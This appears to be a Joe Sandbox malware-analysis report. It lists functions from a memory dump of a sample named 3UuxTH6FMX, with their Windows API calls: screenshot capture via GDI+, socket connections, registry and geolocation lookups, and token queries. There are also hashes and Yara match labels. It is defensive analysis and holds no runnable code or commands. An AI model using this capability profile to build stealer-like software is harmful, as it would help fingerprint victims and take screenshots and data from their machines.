Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 5706546f313706de72a237bf98d2ae5729b4666c4094d2ca0903643dc08702f3
Instruction ID: 1515714fb75511dab36455c830f5810651417295420b67efa9dba599a9301a67
Opcode Fuzzy Hash: 5706546f313706de72a237bf98d2ae5729b4666c4094d2ca0903643dc08702f3
Instruction Fuzzy Hash: 5B01213251C78082E761CF25E8953DEB3A4F7A8788F541115EACD82659DFBCC694CB40

Function 00000218BFBC8B30 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 194
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000218BFBC88B0: InitializeCriticalSectionEx.KERNEL32 ref: 00000218BFBC8901
Part of subcall function 00000218BFBC88B0: GetLastError.KERNEL32 ref: 00000218BFBC890B

EnterCriticalSection.KERNEL32 ref: 00000218BFBC8B71
GdiplusStartup.GDIPLUS ref: 00000218BFBC8B98
LeaveCriticalSection.KERNEL32 ref: 00000218BFBC8BA6
LeaveCriticalSection.KERNEL32 ref: 00000218BFBC8BD4
GdipGetImageEncodersSize.GDIPLUS ref: 00000218BFBC8BE2
GdipGetImageEncoders.GDIPLUS ref: 00000218BFBC8C76
GdipCreateBitmapFromScan0.GDIPLUS ref: 00000218BFBC8D40
GdipSaveImageToStream.GDIPLUS ref: 00000218BFBC8D5E
GdipDisposeImage.GDIPLUS ref: 00000218BFBC8DC3
GdipDisposeImage.GDIPLUS ref: 00000218BFBC8DD7

Strings

&, xrefs: 00000218BFBC8D3A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Gdip$Image$CriticalSection$DisposeEncodersLeave$BitmapCreateEnterErrorFromGdiplusInitializeLastSaveScan0SizeStartupStream
String ID: &
API String ID: 1703174404-3042966939
Opcode ID: e0228fc8eea7d5b1ef60bb9784c8d30ef67e4de2cf218bbc2f582390e882f76a
Instruction ID: 4c12b693d885803a2736ea44c70404fcbcfa30789399593e5f2cd9bf8d105a9b
Opcode Fuzzy Hash: e0228fc8eea7d5b1ef60bb9784c8d30ef67e4de2cf218bbc2f582390e882f76a
Instruction Fuzzy Hash: 71918432208B50AAEB20CF21D8987DE37A4F774B9CF558615EA4997B94DF34CB99C340

Function 00000218BFBC9BE0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 250
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000218BFBCF890: GetUserGeoID.KERNEL32 ref: 00000218BFBCF8B7
Part of subcall function 00000218BFBCF890: GetGeoInfoA.KERNEL32 ref: 00000218BFBCF8D1
Part of subcall function 00000218BFBCF890: GetGeoInfoA.KERNEL32 ref: 00000218BFBCF921

WSAStartup.WS2_32 ref: 00000218BFBC9D59
socket.WS2_32 ref: 00000218BFBC9D7A
htons.WS2_32 ref: 00000218BFBC9DA0
inet_pton.WS2_32 ref: 00000218BFBC9DE3
connect.WS2_32 ref: 00000218BFBC9DFD
closesocket.WS2_32 ref: 00000218BFBC9E1C
WSACleanup.WS2_32 ref: 00000218BFBC9E22

Strings

system, xrefs: 00000218BFBC9CC5
geo, xrefs: 00000218BFBC9D06

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Info$CleanupStartupUserclosesocketconnecthtonsinet_ptonsocket
String ID: geo$system
API String ID: 213021568-2364779556
Opcode ID: 79a95a987e91092ceef9e9c8cc836127b308a12639411b662d18f645f51584df
Instruction ID: b16fb838fd5a6c97a7e75cb6db116c7f4b9e0c8291065ad1dee2459061fb78ef
Opcode Fuzzy Hash: 79a95a987e91092ceef9e9c8cc836127b308a12639411b662d18f645f51584df
Instruction Fuzzy Hash: DBC1AC72B09B9085FB00DF64D4D83DD37B2E7647ACF415612DA6DA7AA9DE34CA89C300

Function 00000218BFBD3B30 Relevance: 13.6, APIs: 9, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00000218BFBD3B61
GetProcessId.KERNEL32 ref: 00000218BFBD3B6A
RmStartSession.RSTRTMGR ref: 00000218BFBD3B8A
RmRegisterResources.RSTRTMGR ref: 00000218BFBD3BB5
RmGetList.RSTRTMGR ref: 00000218BFBD3BEE
RmGetList.RSTRTMGR ref: 00000218BFBD3C50
RmEndSession.RSTRTMGR ref: 00000218BFBD3C8B
RmEndSession.RSTRTMGR ref: 00000218BFBD3CC2
RmEndSession.RSTRTMGR ref: 00000218BFBD3CD7

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Session$ListProcess$CurrentRegisterResourcesStart
String ID:
API String ID: 3299295986-0
Opcode ID: fd498ee3de36280c394abacf9467fc5b9ce5ac8d70b1b0db778499f5d870b0f3
Instruction ID: 7238e0cf5230b9527a97ccff57cfed7f2ad4b709cbdb5f4cf0bf4445cd4c58bb
Opcode Fuzzy Hash: fd498ee3de36280c394abacf9467fc5b9ce5ac8d70b1b0db778499f5d870b0f3
Instruction Fuzzy Hash: 88513D36B18B508BF724CFA4E4986DD73A1F758788F584129EE0AA3B94DF34CA46C740

Function 00000218BFBED5F0 Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBEDA1D

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 47550b20993fbd762e226fa4ca9e05ae32b1ced83bd225dda60327e294bd4ee8
Instruction ID: 7d4e20f7a332923f4d01b59038c5cabcabceef39858601cf15c1d565f889b3c5
Opcode Fuzzy Hash: 47550b20993fbd762e226fa4ca9e05ae32b1ced83bd225dda60327e294bd4ee8
Instruction Fuzzy Hash: 24C1F73620C78581E7619B55D4CC3ED77A0F7A4B88F594911DA6E83792DFB9CE44CB00

Function 00000218BFBC8990 Relevance: 9.0, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00000218BFBC89D3
EnterCriticalSection.KERNEL32 ref: 00000218BFBC89E5
EnterCriticalSection.KERNEL32 ref: 00000218BFBC89F5
GdiplusShutdown.GDIPLUS ref: 00000218BFBC8A03
LeaveCriticalSection.KERNEL32 ref: 00000218BFBC8A10
LeaveCriticalSection.KERNEL32 ref: 00000218BFBC8A1A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$DeleteGdiplusObjectShutdown
String ID:
API String ID: 4268643673-0
Opcode ID: 83031f1c3d95a3b59bc2a22e43b72ccd41805d9851eefa9cc92077698de98015
Instruction ID: 7ce39344467c1cb98c7e20b29d46cb313101669d61463758616409fb081eafde
Opcode Fuzzy Hash: 83031f1c3d95a3b59bc2a22e43b72ccd41805d9851eefa9cc92077698de98015
Instruction Fuzzy Hash: EB113A32115B50C1FB109F25E89819D73B4FB64FA8B684615DA6D83AA4DF35CA96C340

Function 00007FF7AA107CB0 Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA107F9D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA107FA3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA107FAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA107FB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA107FBB

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID:
API String ID: 3936042273-0
Opcode ID: 68560b9ec9290b65af6a78de1ac2c7821c6a1d2327af68e69ac7e4eae41ab174
Instruction ID: 45edf0f01376e4b263107f61304ceb45d86917ee4d7118bf83986ea4c7f2f78e
Opcode Fuzzy Hash: 68560b9ec9290b65af6a78de1ac2c7821c6a1d2327af68e69ac7e4eae41ab174
Instruction Fuzzy Hash: 6881A432A1AB81D5FA11DB25F44026AB3A1FB84794F615235EAAC06BA9DF3CD582C710

Function 00007FF7AA107A80 Relevance: 7.6, APIs: 5, Instructions: 147COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7AA107ACF
OpenProcessToken.ADVAPI32 ref: 00007FF7AA107AE2
GetTokenInformation.KERNELBASE ref: 00007FF7AA107B1E
RtlEnterCriticalSection.NTDLL ref: 00007FF7AA107B5F
RtlLeaveCriticalSection.NTDLL ref: 00007FF7AA107B6D

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: CriticalProcessSectionToken$CurrentEnterInformationLeaveOpen
String ID:
API String ID: 2440646923-0
Opcode ID: a6224817af5826b4e66e685dd3dccc438d8954053d36f8f870129e687be14717
Instruction ID: 23afdcbc666de7623dc8eb16e94c0d02dc26dffce3388fdd0efc6fe253cdcecd
Opcode Fuzzy Hash: a6224817af5826b4e66e685dd3dccc438d8954053d36f8f870129e687be14717
Instruction Fuzzy Hash: 27516421A0AA42E1FA61AB11F64037AF3B1BB44BC1FA64070DE5D077A4DF3DD4578750

Function 00007FF7AA1019A0 Relevance: 6.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AA1016C0: GetModuleHandleW.KERNEL32 ref: 00007FF7AA1016FD
Part of subcall function 00007FF7AA1016C0: RtlImageNtHeader.NTDLL ref: 00007FF7AA10171D
Part of subcall function 00007FF7AA1016C0: RtlGetNtVersionNumbers.NTDLL ref: 00007FF7AA10177A
Part of subcall function 00007FF7AA1016C0: RtlGetNtVersionNumbers.NTDLL ref: 00007FF7AA101914

RtlGetNtVersionNumbers.NTDLL ref: 00007FF7AA101A0B
RtlGetNtVersionNumbers.NTDLL ref: 00007FF7AA101A73
RtlImageDirectoryEntryToData.NTDLL ref: 00007FF7AA101B08

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: NumbersVersion$Image$DataDirectoryEntryHandleHeaderModule
String ID:
API String ID: 1637451276-0
Opcode ID: c7c4423c1df835fe1051eadc678f80f7c1d6eee4b7a917dd86c14d9ff8850ea5
Instruction ID: 3c19c8ad60276fcbb826d0531b5cb5204d4934af340bdc153a8e974af7f082ad
Opcode Fuzzy Hash: c7c4423c1df835fe1051eadc678f80f7c1d6eee4b7a917dd86c14d9ff8850ea5
Instruction Fuzzy Hash: 1261AC32B15A42EAFB519F64E5402ACB3B1FB48748F950176CE0D53AA8EF3CE556C720

Function 00000218BFBD0420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegGetValueA.ADVAPI32 ref: 00000218BFBD0489

Strings

ProductName, xrefs: 00000218BFBD0474
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00000218BFBD047B

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Value
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 3702945584-1787575317
Opcode ID: 4b31b020cac4b58e91cc22bf7df28ffde147e0876d00deb1f16a5955c36cd2ac
Instruction ID: 2b435a15c1e7d3f49cf6a00abba36aeab98fac154f3c1eae3b664bd24dce1a4b
Opcode Fuzzy Hash: 4b31b020cac4b58e91cc22bf7df28ffde147e0876d00deb1f16a5955c36cd2ac
Instruction Fuzzy Hash: D211813221CB8082EB20CF21F4947DEB3A4F799788F504215EA8843B59CFBCC295CB40

Function 00000218BFBDB090 Relevance: 4.9, APIs: 3, Instructions: 440COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBDB26B
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBDB474
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBDB5F0

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 21fc21dbb6ad935d438a32a9e8df0940595043e451ddcdce7bd13c1d828d7aed
Instruction ID: e059da90b026982d7ba3f1655470822d6749bcbe76a6bd17f6a788145b09c25a
Opcode Fuzzy Hash: 21fc21dbb6ad935d438a32a9e8df0940595043e451ddcdce7bd13c1d828d7aed
Instruction Fuzzy Hash: 78F1F436215B8482DA24CF25E4987ED67A4F768BE8F148725AFAD877C5DF38C690C300

Function 00007FF7AA102E10 Relevance: 4.8, APIs: 3, Instructions: 298libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AA104F00: VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7AA103C4C,?,?,?,00007FF7AA101097), ref: 00007FF7AA104F50

LoadLibraryA.KERNEL32 ref: 00007FF7AA1030F8
GetProcAddress.KERNEL32 ref: 00007FF7AA10310E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA10318C

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: AddressLibraryLoadProcQueryVirtual_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3513549592-0
Opcode ID: e3ab0b1cb5af30e30cab7697ef1babff4d2411869d2c5dc3a56a725404a04dc9
Instruction ID: 65486b4417ddc952a3c62344bf60c55a8cbab2be45a417c90358b8022031398a
Opcode Fuzzy Hash: e3ab0b1cb5af30e30cab7697ef1babff4d2411869d2c5dc3a56a725404a04dc9
Instruction Fuzzy Hash: 8EC1C362F06651E4FB11AB61E4003ACB771BB08BD8FA641B1CF1C1B6A9CF78D586C360

Function 00000218BFBCED77 Relevance: 4.7, APIs: 3, Instructions: 182networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00000218BFBCF0AC
closesocket.WS2_32 ref: 00000218BFBCF0BE
WSACleanup.WS2_32 ref: 00000218BFBCF0C4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Cleanupclosesocketrecv
String ID:
API String ID: 3447645871-0
Opcode ID: e1e4bc0d9f538d8dda849055060beac834a4055df7170f002940a69e95862ddc
Instruction ID: 741e20256fcdcc5c34eca6602e0803a4f57b09a81e7464d65c09e6da55a63369
Opcode Fuzzy Hash: e1e4bc0d9f538d8dda849055060beac834a4055df7170f002940a69e95862ddc
Instruction Fuzzy Hash: 12919773A18BC481EA208B25E4983DE6761F7A57A4F505701DAAC87ADADF78CAC4C700

Function 00000218BFBD1111 Relevance: 4.7, APIs: 3, Instructions: 163registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00000218BFBD1129
RegEnumKeyExA.ADVAPI32 ref: 00000218BFBD116E
RegCloseKey.ADVAPI32 ref: 00000218BFBD1364

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID:
API String ID: 1332880857-0
Opcode ID: 7bf3ae1290ca30c6776f7c830ae96f6287afa95ee85338a1be7a57fa8cf0fef0
Instruction ID: 48fabbe298fcd2cce49da1c47778368d2726a7894cb5e88c485c4b2e48e86e03
Opcode Fuzzy Hash: 7bf3ae1290ca30c6776f7c830ae96f6287afa95ee85338a1be7a57fa8cf0fef0
Instruction Fuzzy Hash: 3C71AF76A08B8486FB20CF65E4883DD6760F7A57ACF500205EAA893ED9DF78C6C1C700

Function 00000218BFBD10A0 Relevance: 4.6, APIs: 3, Instructions: 96registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00000218BFBD1129
RegEnumKeyExA.ADVAPI32 ref: 00000218BFBD116E

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: EnumOpen
String ID:
API String ID: 3231578192-0
Opcode ID: a8920e58832bf877e089fa0af907033f7a3b2d639e35d700202a240f283f6ca3
Instruction ID: c499c95854162a54ecb57c8b16d32c4c1d3e02da6505b69b7250fc2f4fc981f8
Opcode Fuzzy Hash: a8920e58832bf877e089fa0af907033f7a3b2d639e35d700202a240f283f6ca3
Instruction Fuzzy Hash: 6231A032608B8486F720CFA1E898BDE7774F75479CF600215EE9957A58DF78C692C700

Function 00000218BFBD0DDB Relevance: 4.6, APIs: 3, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00000218BFBD0DF7
RegQueryValueExA.ADVAPI32 ref: 00000218BFBD0E36
RegCloseKey.ADVAPI32 ref: 00000218BFBD0ED4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 25ecd56cdfa6cb38c68b5d1ffaefc2e2d501741111cb2a807e3fc63b6d899e6b
Instruction ID: 3771d61fa97630f4740ff580d5add6db7426b3e8336bca354c407bb4fc8b5e08
Opcode Fuzzy Hash: 25ecd56cdfa6cb38c68b5d1ffaefc2e2d501741111cb2a807e3fc63b6d899e6b
Instruction Fuzzy Hash: F0219A76A1D78482EE608B29E4D439EA750F7E57D8F505211EA8D83A99DF3CC6C4C700

Function 00000218BFBCF890 Relevance: 4.6, APIs: 3, Instructions: 50COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32 ref: 00000218BFBCF8B7
GetGeoInfoA.KERNEL32 ref: 00000218BFBCF8D1
GetGeoInfoA.KERNEL32 ref: 00000218BFBCF921

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Info$User
String ID:
API String ID: 2017065092-0
Opcode ID: d34c2ece54cb3812040e4eef0477fed434900964bc97860851aa3e607d5351a2
Instruction ID: 65adabc024a23851d76d13af256f0465b58e2e665a55157c086b1ab6e970756a
Opcode Fuzzy Hash: d34c2ece54cb3812040e4eef0477fed434900964bc97860851aa3e607d5351a2
Instruction Fuzzy Hash: 46119D3261879082E7109F61F45479EB3A1F7A4B88F045224EB8543F59DF7CDA908B84

Function 00000218BFBC9760 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00000218BFBC979B
OpenProcessToken.ADVAPI32 ref: 00000218BFBC97AE
GetTokenInformation.ADVAPI32 ref: 00000218BFBC97EA

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ProcessToken$CurrentInformationOpen
String ID:
API String ID: 2743777493-0
Opcode ID: 5cf106d3b2ffd2a7e9a61a7f883b18dc6c947c023f1ec599732081f4b0d6fdce
Instruction ID: 91fc297738ecd3776740a50c8839c4a94e2a26932820316bf66737afa3e4cf08
Opcode Fuzzy Hash: 5cf106d3b2ffd2a7e9a61a7f883b18dc6c947c023f1ec599732081f4b0d6fdce
Instruction Fuzzy Hash: 91112E32219B9082FB508F16F89478FB7A0F798B84F545126EB8997B68CF3CC945CB40

Function 00000218BFBF3270 Relevance: 4.5, APIs: 3, Instructions: 15COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00000218BFBF3281
TerminateProcess.KERNEL32 ref: 00000218BFBF328C
ExitProcess.KERNEL32 ref: 00000218BFBF329B

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: f80d91bcf93e8424b3640f1b7356e3f7b22acd1ad7b3684da8aa45f97133e79c
Instruction ID: 028148fa1605cbdc3ff775b02229c6ad15ca110662348eb420506e7c90b00c3f
Opcode Fuzzy Hash: f80d91bcf93e8424b3640f1b7356e3f7b22acd1ad7b3684da8aa45f97133e79c
Instruction Fuzzy Hash: 3ED0923530871852FA187F7068EDAED23259B69759F48582C8A83D6797CE398E9D8200

Function 00007FF7AA104050 Relevance: 3.9, APIs: 3, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 00007FF7AA1041B7

Part of subcall function 00007FF7AA104F00: VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7AA103C4C,?,?,?,00007FF7AA101097), ref: 00007FF7AA104F50

VirtualFree.KERNEL32(?), ref: 00007FF7AA1042B5
VirtualAlloc.KERNEL32 ref: 00007FF7AA1042F6

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Virtual$Alloc$FreeQuery
String ID:
API String ID: 609462816-0
Opcode ID: ea88e6755f1c952dde9103f57d4804c3fc97b2dab698ddd173a76000a050952f
Instruction ID: 0a293ec382a0e0318d38702ccd8634c0cb1aff0a30aafbe026edc318931da4b3
Opcode Fuzzy Hash: ea88e6755f1c952dde9103f57d4804c3fc97b2dab698ddd173a76000a050952f
Instruction Fuzzy Hash: 4871A525B0E642E5FA667A11F190279F3B4AF95BC4FA64070DE4D07BA5DE3CE8078320

Function 00000218BFB8F350 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB8F53C

Strings

, xrefs: 00000218BFB8F3D3

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-3916222277
Opcode ID: f6b6934b9f8593f99abf1ba3628a2200090c895613474c1471e6307f15e81164
Instruction ID: f0c8b9cb7255206d18ae011cdc91a9540bd732c851c09b9de185fc33ab127245
Opcode Fuzzy Hash: f6b6934b9f8593f99abf1ba3628a2200090c895613474c1471e6307f15e81164
Instruction Fuzzy Hash: 6B517376308B4496EF158F2AD19839C37A0F398B98F584612DF5D87BA6CF39D9A1C300

Function 00000218BFBD0C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 00000218BFBD0C6C

Strings

Unknown, xrefs: 00000218BFBD0D26

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: 327d7d51cf89ce8cae5e34d504ec04f85fc3bceab43135c4ad84e114b6f625fa
Instruction ID: 2f315b40c99fb652a34f7a4964be354fe565a65c4a439cc05d4d6569dac50adf
